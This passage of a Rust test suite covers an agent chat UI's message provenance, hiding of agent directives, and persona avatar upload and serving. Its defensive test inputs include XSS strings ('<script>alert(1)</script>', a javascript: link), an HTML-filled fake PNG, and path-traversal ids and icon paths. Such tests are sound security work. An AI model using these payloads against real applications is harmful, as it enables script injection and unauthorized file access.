14858 assert_eq!(view.talk.implementers, 3);
14859 assert!(talks.get(&id).expect("reload").implementers_dirty);
14860 assert!(!view.thinking);
14861 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14862 for n in [1, 2, 3] {
14863 let Json(view) = call(n).await.expect("immediate consecutive change");
14864 assert_eq!(view.talk.implementers, n);
14865 assert!(!view.thinking);
14866 assert!(!ui.is_thinking(&id));
14867 }
14868
14869 let mut closed = talks.get(&id).expect("reload");
14870 talk::close(&mut closed, &talks).expect("close");
14871 let e = call(2).await.expect_err("closed talk");
14872 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14873 assert!(e.message.contains("takes no more turns"), "{}", e.message);
14874 }
14875
14876 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14878 let tmp = TempDir::new().expect("tempdir");
14879 let repo = tmp.path().join("repo");
14880 std::fs::create_dir_all(&repo).expect("repo dir");
14881 std::fs::write(
14882 repo.join("magi.toml"),
14883 format!("{MOCK_AGENT_TOML}\n{extra}"),
14884 )
14885 .expect("write magi.toml");
14886 let home = TempDir::new().expect("temp home");
14887 let talks = Talks::at(home.path().join("talks"));
14888 let ui = Arc::new(
14889 Ui::new(
14890 Queue::at(home.path().join("queue")),
14891 Questions::at(home.path().join("questions")),
14892 talks.clone(),
14893 home.path().join("runs"),
14894 home.path().to_path_buf(),
14895 repo.clone(),
14896 )
14897 .with_worktrees_root(home.path().join("wt")),
14898 );
14899 let cfg = config_for(&repo).await.expect("discover config");
14900 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14901 (tmp, home, ui, talk.id, repo)
14902 }
14903
14904 #[tokio::test]
14905 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14906 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14907 let mut conversation = ui.talks.get(&id).unwrap();
14908 talk::record(
14909 &mut conversation,
14910 &ui.talks,
14911 "# Update on a task you filed\noperator words",
14912 vec![],
14913 )
14914 .unwrap();
14915 conversation.turns[0].sender = None;
14917 conversation.turns[0].messages.clear();
14918 ui.talks.put(&mut conversation).unwrap();
14919 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14920 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14921 talk::drain(&mut conversation, &ui.talks).unwrap();
14922 talk::record_reply(
14923 &mut conversation,
14924 &ui.talks,
14925 "about that report",
14926 vec![],
14927 Some(talk::ReplyTarget {
14928 turn: 1,
14929 message: 1,
14930 }),
14931 )
14932 .unwrap();
14933 conversation.turns[2].messages[0]
14934 .reply
14935 .as_mut()
14936 .unwrap()
14937 .sender = None;
14938 conversation.turns.push(talk::Turn {
14939 sender: Some(talk::Sender::Persona),
14940 who: talk::Who::Agent,
14941 body: "magi: actual persona words".into(),
14942 at: Timestamp::now(),
14943 attachments: vec![],
14944 usage: None,
14945 breaks: None,
14946 messages: vec![],
14947 posted_by: None,
14948 });
14949 ui.talks.put(&mut conversation).unwrap();
14950 let view = TalkView::with_config(
14951 ui.talks.get(&id).unwrap(),
14952 false,
14953 None,
14954 &ui.home,
14955 &ui.references,
14956 );
14957 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14958 assert_eq!(
14959 view.talk.turns[1].messages[0].sender,
14960 Some(talk::Sender::Operator)
14961 );
14962 assert_eq!(
14963 view.talk.turns[1].messages[1].sender,
14964 Some(talk::Sender::Magi)
14965 );
14966 assert_eq!(
14967 view.talk.turns[2].messages[0]
14968 .reply
14969 .as_ref()
14970 .unwrap()
14971 .sender,
14972 Some(talk::Sender::Magi)
14973 );
14974 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14975 assert_eq!(view.turn_messages_md[0].len(), 1);
14976 assert!(view.turn_messages_md[0][0].is_none());
14977 assert!(view.turn_messages_md[1][0].is_none());
14978 assert!(view.turn_messages_md[1][1].is_some());
14979 }
14980
14981 #[tokio::test]
14982 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14983 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14984 let mut conversation = ui.talks.get(&id).unwrap();
14985 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14986 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14987 talk::queue_notice(
14988 &mut conversation,
14989 &ui.talks,
14990 &body,
14991 "watch:123",
14992 &|_| false,
14993 crate::chat_control::standing::Event::Watch {
14994 id: "watch-123".into(),
14995 },
14996 display.clone(),
14997 )
14998 .unwrap();
14999 assert!(
15000 !talk::queue_notice(
15001 &mut conversation,
15002 &ui.talks,
15003 &body,
15004 "watch:123",
15005 &|_| false,
15006 crate::chat_control::standing::Event::Watch {
15007 id: "watch-123".into()
15008 },
15009 display.clone()
15010 )
15011 .unwrap()
15012 );
15013 let saved = ui.talks.get(&id).unwrap();
15014 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15015 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15016 assert!(
15017 view.talk.turns[0].messages[0].display.is_none(),
15018 "operator copy stays literal"
15019 );
15020 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15021 assert!(view.turn_messages_md[0][0].is_none());
15022 let queued_md = view.pending_messages_md[0].clone();
15023 assert_eq!(
15024 queued_md,
15025 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15026 );
15027 talk::drain(&mut conversation, &ui.talks).unwrap();
15028 talk::record_reply(
15029 &mut conversation,
15030 &ui.talks,
15031 "Explain",
15032 vec![],
15033 Some(talk::ReplyTarget {
15034 turn: 1,
15035 message: 0,
15036 }),
15037 )
15038 .unwrap();
15039 let mut saved = ui.talks.get(&id).unwrap();
15040 assert_eq!(saved.turns[1].messages[0].body, body);
15041 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15042 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15043 assert!(!reply.excerpt.contains("automatic report"));
15044 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
15047 let view = TalkView::with_config(
15048 ui.talks.get(&id).unwrap(),
15049 false,
15050 None,
15051 &ui.home,
15052 &ui.references,
15053 );
15054 assert_eq!(view.turn_messages_md[1][0], queued_md);
15055 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15056 assert!(
15057 !view.talk.turns[2].messages[0]
15058 .reply
15059 .as_ref()
15060 .unwrap()
15061 .excerpt
15062 .contains("automatic report")
15063 );
15064 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15065 }
15066
15067 #[tokio::test]
15068 async fn consultation_display_hides_directives_in_queue_and_history() {
15069 for node in [
15070 "implement",
15071 crate::land::APPROVAL_NODE,
15072 crate::github_text::ASK_NODE,
15073 ] {
15074 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15075 let mut question = Question::new(
15076 "run-123".into(),
15077 node.into(),
15078 "seat-1".into(),
15079 "Which backend?".into(),
15080 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15081 vec!["SQLite".into(), "Redis".into()],
15082 );
15083 ui.questions.put(&mut question).unwrap();
15084 let body = crate::prompt::chat_consult(&question);
15085 let mut conversation = ui.talks.get(&id).unwrap();
15086 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15087 assert!(
15088 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15089 );
15090 conversation = ui.talks.get(&id).unwrap();
15091 assert_eq!(conversation.pending_messages[0].body, body);
15092 assert!(body.contains("magi answer"));
15093 let mut legacy_pending = conversation.clone();
15094 legacy_pending.pending_messages[0].display = None;
15095 let legacy_view =
15096 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15097 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15098 assert!(legacy_md.contains("Question consultation"));
15099 assert!(!legacy_md.contains("magi answer"));
15100 let view =
15101 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15102 assert!(
15103 view.turn_messages_md[0][0].is_none(),
15104 "operator copy stays literal"
15105 );
15106 let queued_md = view.pending_messages_md[0].clone().unwrap();
15107 let rendered = serde_json::to_string(&queued_md).unwrap();
15108 for visible in [
15109 "Which backend?",
15110 "Context",
15111 "storage",
15112 "SQLite",
15113 "Redis",
15114 "<script>literal</script>",
15115 ] {
15116 assert!(rendered.contains(visible), "missing {visible}");
15117 }
15118 for directive in [
15119 "What to do",
15120 "magi answer",
15121 "Never answer it yourself",
15122 "Do not edit the repository",
15123 ] {
15124 assert!(!rendered.contains(directive), "exposed {directive}");
15125 }
15126 assert_eq!(
15127 view.talk.pending_messages[0].display,
15128 Some(crate::prompt::chat_consult_display(&question))
15129 );
15130 talk::drain(&mut conversation, &ui.talks).unwrap();
15131 let view =
15132 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15133 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15134 assert_eq!(conversation.turns[1].messages[0].body, body);
15135
15136 conversation.turns[1].messages[0].display = None;
15139 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15140 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15141 assert!(legacy.contains("Question consultation"));
15142 assert!(!legacy.contains("magi answer"));
15143 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15144 }
15145 }
15146
15147 #[test]
15148 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15149 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15150 let (body, mut display) =
15151 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15152 display.facts = facts.into();
15153 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15154 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15155 let json = serde_json::to_string(&nodes).unwrap();
15156 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15157 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15158 }
15159 assert!(json.contains("<script>alert(1)</script>"));
15160 assert!(!json.contains("javascript:"));
15161 assert!(!json.contains("Tell the operator"));
15162 assert!(!json.contains("untrusted"));
15163 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15164 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15165 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15166 assert_eq!(
15167 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15168 md::to_nodes("# Status", &md::ImageBase::None),
15169 );
15170 }
15171
15172 #[tokio::test]
15173 async fn notification_display_recovers_exact_legacy_completion_references() {
15174 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15175 let mut conversation = ui.talks.get(&id).unwrap();
15176 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15177 id: "task-123",
15178 title: "Change",
15179 status: "done",
15180 reason: None,
15181 run: Some("run-123"),
15182 pr: None,
15183 summary: Some("Merge state unknown"),
15184 });
15185 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15186 conversation.turns[0].sender = None;
15187 conversation.turns[0].messages.clear();
15188 conversation.turns[0].breaks = None;
15189 conversation.pending = body.clone();
15190 conversation
15191 .completion_notices
15192 .push(crate::chat_notify::CompletionReference {
15193 task: "task-123".into(),
15194 run: Some("run-123".into()),
15195 notice: body.clone(),
15196 });
15197 ui.talks.put(&mut conversation).unwrap();
15198 let view = TalkView::with_config(
15199 ui.talks.get(&id).unwrap(),
15200 false,
15201 None,
15202 &ui.home,
15203 &ui.references,
15204 );
15205 assert_eq!(
15206 view.talk.turns[0].messages[0].display,
15207 Some(display.clone())
15208 );
15209 assert_eq!(view.talk.pending_messages[0].display, Some(display));
15210 assert_eq!(
15211 view.talk.turns[0].messages[0].sender,
15212 Some(talk::Sender::Magi)
15213 );
15214 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15215 conversation.completion_notices[0]
15216 .notice
15217 .push_str("different");
15218 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15219 assert!(view.talk.turns[0].messages.is_empty());
15220 assert!(view.talk.pending_messages.is_empty());
15221 }
15222
15223 #[tokio::test]
15224 async fn avatar_settings_report_states_and_inherit_after_corruption() {
15225 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15226 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15227 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15228 ))
15229 .await;
15230 let path = avatar_setting_path(home.path(), Some("rei"));
15231 let orphan = avatar_setting_path(home.path(), Some("removed"));
15232 save_icon_file(&orphan, icon).unwrap();
15233 for (saved, expected) in [
15234 (icon, "custom"),
15235 ("builtin", "builtin"),
15236 ("data:image/png;base64,!!!!", "inherit"),
15237 ("data:image/png;base64,PGh0bWw+", "inherit"),
15238 ("/tmp/avatar.png", "inherit"),
15239 ] {
15240 atomic_icon_write(&path, saved).unwrap();
15241 let catalog =
15242 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15243 .await
15244 .unwrap()
15245 .0;
15246 let personas = catalog["personas"].as_array().unwrap();
15247 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15248 assert_eq!(rei["override_state"], expected);
15249 assert_eq!(rei["has_config_icon"], true);
15250 assert_eq!(rei["is_orphan"], false);
15251 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15252 assert_eq!(removed["override_state"], "custom");
15253 assert_eq!(removed["is_orphan"], true);
15254 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15255 assert_eq!(default["override_state"], "inherit");
15256 assert_eq!(default["has_config_icon"], false);
15257 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15258 assert_eq!(
15259 effective.as_deref(),
15260 Some(if expected == "builtin" { "" } else { icon })
15261 );
15262 }
15263 }
15264
15265 #[tokio::test]
15266 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15267 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15268 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15269 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15270 ))
15271 .await;
15272 let target = |id: Option<&str>| AvatarSettingsQuery {
15273 persona: id.map(str::to_owned),
15274 ..Default::default()
15275 };
15276 let original_config = config_for(&repo).await.unwrap();
15277 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15278 let original_prompt = persona::section_for(&original_persona, None);
15279 let before = talk_detail(State(ui.clone()), Path(id.clone()))
15280 .await
15281 .unwrap()
15282 .0;
15283 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15284 let _ = avatar_settings_put(
15285 State(ui.clone()),
15286 Query(target(persona)),
15287 Json(MagiIconUpload { icon: icon.into() }),
15288 )
15289 .await
15290 .unwrap();
15291 let path = avatar_setting_path(home.path(), persona);
15292 assert!(path.starts_with(home.path().join("avatars")));
15293 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15294 for bad in [
15295 "/tmp/image.png".to_owned(),
15296 "data:image/png;base64,!!!!".to_owned(),
15297 "data:image/png;base64,PGh0bWw+".to_owned(),
15298 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15299 format!(
15300 "data:image/png;base64,{}",
15301 "A".repeat(persona_icon::ICON_MAX_BYTES)
15302 ),
15303 ] {
15304 assert!(
15305 avatar_settings_put(
15306 State(ui.clone()),
15307 Query(target(persona)),
15308 Json(MagiIconUpload { icon: bad })
15309 )
15310 .await
15311 .is_err()
15312 );
15313 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15314 }
15315 }
15316 assert!(read_magi_icon(home.path()).is_none());
15317 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15318 let after = talk_detail(State(ui.clone()), Path(id.clone()))
15319 .await
15320 .unwrap()
15321 .0;
15322 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15323 assert_ne!(
15324 before
15325 .personas
15326 .iter()
15327 .find(|p| p.id == "magi")
15328 .unwrap()
15329 .avatar,
15330 after
15331 .personas
15332 .iter()
15333 .find(|p| p.id == "magi")
15334 .unwrap()
15335 .avatar
15336 );
15337 let restarted = Arc::new(Ui::new(
15338 Queue::at(home.path().join("queue")),
15339 Questions::at(home.path().join("questions")),
15340 Talks::at(home.path().join("talks")),
15341 home.path().join("runs"),
15342 home.path().to_owned(),
15343 repo,
15344 ));
15345 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15346 .await
15347 .unwrap()
15348 .0;
15349 assert!(
15350 catalog["personas"]
15351 .as_array()
15352 .unwrap()
15353 .iter()
15354 .any(|p| p["id"] == "../custom/日本語")
15355 );
15356 for expected in ["custom", "default", "rei"] {
15357 assert!(
15358 catalog["personas"]
15359 .as_array()
15360 .unwrap()
15361 .iter()
15362 .any(|p| p["id"] == expected)
15363 );
15364 }
15365 let response =
15366 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15367 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15368 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15369 .await
15370 .unwrap();
15371 assert_eq!(
15372 effective_persona_icon(home.path(), "rei", Some(icon)),
15373 Some(String::new())
15374 );
15375 let response = talk_avatar(
15376 State(restarted.clone()),
15377 Path(id.clone()),
15378 Query(AvatarQuery {
15379 persona: Some("rei".into()),
15380 ..Default::default()
15381 }),
15382 )
15383 .await
15384 .unwrap();
15385 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15386 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15387 .await
15388 .unwrap()
15389 .0;
15390 assert_ne!(
15391 after
15392 .personas
15393 .iter()
15394 .find(|p| p.id == "rei")
15395 .unwrap()
15396 .avatar,
15397 reset
15398 .personas
15399 .iter()
15400 .find(|p| p.id == "rei")
15401 .unwrap()
15402 .avatar
15403 );
15404 let mut inherit = target(Some("rei"));
15405 inherit.inherit = Some("1".into());
15406 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15407 .await
15408 .unwrap();
15409 assert_eq!(
15410 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15411 Some(icon)
15412 );
15413 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15414 .await
15415 .unwrap();
15416 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15417 assert_eq!(
15418 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15419 Some(icon)
15420 );
15421 let cfg = config_for(&ui.repo).await.unwrap();
15423 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15424 assert_eq!(persona::section_for(&resolved, None), original_prompt);
15425 assert!(!original_prompt.contains("data:image"));
15426 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15427 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15428 assert!(!stored.contains("data:image"));
15429 let mut orphan = ui.talks.get(&id).unwrap();
15430 orphan.persona = "../custom/日本語".into();
15431 let view = TalkView::with_config(
15432 orphan,
15433 false,
15434 Some(&cfg),
15435 home.path(),
15436 &id_links::IndexCache::default(),
15437 );
15438 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15439 }
15440
15441 #[tokio::test]
15442 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15443 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15444 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15445 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15446 let _ = magi_icon_put(
15447 State(ui.clone()),
15448 Json(MagiIconUpload { icon: icon.into() }),
15449 )
15450 .await
15451 .unwrap();
15452 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15453 assert_ne!(original, changed);
15454 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15455 let response = magi_avatar(
15456 State(ui.clone()),
15457 Query(AvatarQuery {
15458 persona: None,
15459 builtin: None,
15460 }),
15461 )
15462 .await;
15463 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15464 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15465 assert_eq!(
15466 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15467 "nosniff"
15468 );
15469 for bad in [
15470 "data:image/png;base64,PGh0bWw+".to_owned(),
15471 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15472 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15473 ] {
15474 assert!(save_magi_icon(home.path(), &bad).is_err());
15475 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15476 }
15477 let restarted = Arc::new(Ui::new(
15479 Queue::at(home.path().join("queue")),
15480 Questions::at(home.path().join("questions")),
15481 Talks::at(home.path().join("talks")),
15482 home.path().join("runs"),
15483 home.path().to_path_buf(),
15484 repo,
15485 ));
15486 assert_eq!(
15487 magi_icon_get(State(restarted.clone())).await.0["avatar"],
15488 changed
15489 );
15490 let view = TalkView::with_config(
15491 restarted.talks.get(&id).unwrap(),
15492 false,
15493 None,
15494 &restarted.home,
15495 &restarted.references,
15496 );
15497 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15498 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15499 let response = magi_avatar(
15500 State(ui.clone()),
15501 Query(AvatarQuery {
15502 persona: None,
15503 builtin: None,
15504 }),
15505 )
15506 .await;
15507 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15508 .await
15509 .unwrap();
15510 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15511 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15512 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15513 let _ = magi_icon_delete(State(ui)).await.unwrap();
15514 }
15515
15516 async fn avatar(
15518 ui: &Arc<Ui>,
15519 id: &str,
15520 persona: Option<&str>,
15521 builtin: bool,
15522 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15523 let res = talk_avatar(
15524 State(Arc::clone(ui)),
15525 Path(id.to_owned()),
15526 Query(AvatarQuery {
15527 persona: persona.map(str::to_owned),
15528 builtin: builtin.then(|| "1".to_owned()),
15529 }),
15530 )
15531 .await
15532 .expect("an avatar is never an error response");
15533 let h = res.headers();
15534 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15535 let nosniff = h
15536 .get(header::X_CONTENT_TYPE_OPTIONS)
15537 .is_some_and(|v| v == "nosniff");
15538 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15539 let status = res.status();
15540 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15541 .await
15542 .expect("body")
15543 .to_vec();
15544 (status, ct, nosniff, csp, body)
15545 }
15546
15547 fn tiny_png() -> Vec<u8> {
15548 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15549 b.extend_from_slice(&[0u8; 32]);
15550 b
15551 }
15552
15553 #[tokio::test]
15554 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15555 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15556 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15557 assert_eq!(res.status(), StatusCode::OK);
15558 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15559 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15560 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15561 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15562 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15563 .await
15564 .unwrap();
15565 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15566 assert_ne!(
15567 persona_icon::operator_svg(),
15568 persona_icon::builtin_svg("default")
15569 );
15570 }
15571
15572 #[tokio::test]
15573 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15574 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15575 for p in [
15576 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15577 ] {
15578 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15579 assert_eq!(status, StatusCode::OK, "{p}");
15580 assert_eq!(ct, "image/svg+xml", "{p}");
15581 assert!(nosniff && csp, "{p}");
15582 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15583 }
15584 let own = avatar(&ui, &id, None, false).await;
15586 let default = avatar(&ui, &id, Some("default"), false).await;
15587 assert_eq!(own.4, default.4);
15588 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15589 assert_eq!(unknown.1, "image/svg+xml");
15590 }
15591
15592 #[tokio::test]
15593 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15594 let dir = TempDir::new().expect("icons");
15595 let good = dir.path().join("good.png");
15596 std::fs::write(&good, tiny_png()).unwrap();
15597 let spoof = dir.path().join("spoof.png");
15598 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15599 let big = dir.path().join("big.png");
15600 let mut bytes = tiny_png();
15601 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15602 std::fs::write(&big, bytes).unwrap();
15603 let missing = dir.path().join("missing.png");
15604 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15605 let extra = format!(
15606 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15607 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15608 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15609 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15610 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15611 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15612 uri(&good),
15613 uri(&spoof),
15614 uri(&big),
15615 uri(&missing),
15616 );
15617 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15618
15619 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15620 assert_eq!(
15621 (status, ct.as_str(), nosniff),
15622 (StatusCode::OK, "image/png", true)
15623 );
15624 assert_eq!(body, tiny_png());
15625 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15626 assert_eq!(ct, "image/png", "data URI");
15627
15628 for p in ["misato", "asuka", "shinji", "magi"] {
15629 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15630 assert_eq!(
15631 (status, ct.as_str(), csp),
15632 (StatusCode::OK, "image/svg+xml", true),
15633 "{p}"
15634 );
15635 assert!(body.starts_with(b"<svg"), "{p}");
15636 }
15637 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15639 assert_eq!(ct, "image/svg+xml");
15640 }
15641
15642 #[tokio::test]
15643 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15644 let oversized = format!(
15645 "data:image/png;base64,{}",
15646 "A".repeat(persona_icon::ICON_MAX_BYTES)
15647 );
15648 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15649 let extra = format!(
15650 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15651 );
15652 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15653 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15654 .await
15655 .expect("detail with invalid icon");
15656 assert!(detail.personas.iter().any(|p| p.id == "custom"));
15657 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15658 assert_eq!(status, StatusCode::OK);
15659 assert_eq!(ct, "image/svg+xml");
15660 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15661 let Json(view) = talk_persona(
15662 State(Arc::clone(&ui)),
15663 Path(id.clone()),
15664 Json(TalkPersona {
15665 persona: "custom".into(),
15666 }),
15667 )
15668 .await
15669 .expect("persona switch with invalid icon");
15670 assert_eq!(view.talk.persona, "custom");
15671 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15672 }
15673 }
15674
15675 #[tokio::test]
15676 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15677 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15678 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15679 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15680 assert_eq!(
15681 (status, ct.as_str(), nosniff, csp),
15682 (StatusCode::OK, "image/svg+xml", true, true)
15683 );
15684 }
15685
15686 #[tokio::test]
15687 async fn the_talk_view_carries_server_built_avatar_urls_only() {
15688 let (_t, _h, ui, id, _repo) =
15689 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15690 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15691 .await
15692 .expect("detail");
